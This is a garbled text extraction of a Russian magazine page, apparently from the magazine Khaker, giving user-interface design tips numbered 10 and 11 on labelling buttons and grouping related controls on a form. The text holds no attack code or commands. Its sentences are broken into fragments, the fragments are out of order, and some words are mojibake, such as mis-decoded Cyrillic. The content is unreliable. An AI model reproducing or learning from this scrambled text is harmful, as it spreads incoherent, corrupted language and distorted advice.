Если твоя прога должна

 

если ты придумаешь

 

 

 

 

òî

нет ничего плохого,

íåò

стандартного элемента управления,

 

 

 

æàòü ñóòü

Только

 

 

 

 

 

 

 

 

 

 

 

 

 

.

он должен четко отра

äëÿ íåå

свой элемент

управления

может догадаться,

что кнопка осуществляет

 

 

 

. Например, кто

 

 

 

 

 

графический

выполняемой операции

базы данных?

Åñëè íå

можешь

придумать

 

 

выборку из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

эквивалент

 

выполняемой

 

 

 

 

 

 

 

 

 

 

 

операции, то

лучше обозначить

 

 

 

 

 

 

 

 

 

 

 

-двумя словами, например, так:

 

 

 

 

 

 

 

 

 

ее одним

 

 

 

 

 

 

 

 

 

 

 

 

 

. Но так можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всем будет понятно,

для чего предназначена

данная кнопка

 

Думаю,

 

более

девяти) подобных

 

содержит

немного (не

делать,

только если

форма

 

и придумать для

больше,

то придется напрячься

элементов управления -

åñëè

 

 

 

 

 

 

 

 

 

 

 

 

 

кнопок понятные

иконки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #10

à

также движение

ãëàç

пользователя

должны быть

жение

курсора,

 

 

элементы

управления

ïî âñåé

Äâè

 

 

. Поэтому не

нужно раскидывать

 

â

оптимизированы

быть четко сгруппированы

по смыслу или в том порядке,

 

.

Îíè

должны

 

жены недалеко друг от

друга.

 

форме

 

 

 

 

 

 

 

 

 

 

 

каком чаще всего будут использоваться,

и располо

 

 

 

 

 

 

 

 

 

 

 

 

Совет #11

собой

элементы

 

 

 

 

 

 

 

 

Связанные

 

между

 

 

 

 

 

 

 

 

 

помощи

 

 

 

 

 

 

 

 

управления

группируй

ïðè

 

 

 

 

 

 

 

 

рамок.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

78

Соседние файлы в папке журнал хакер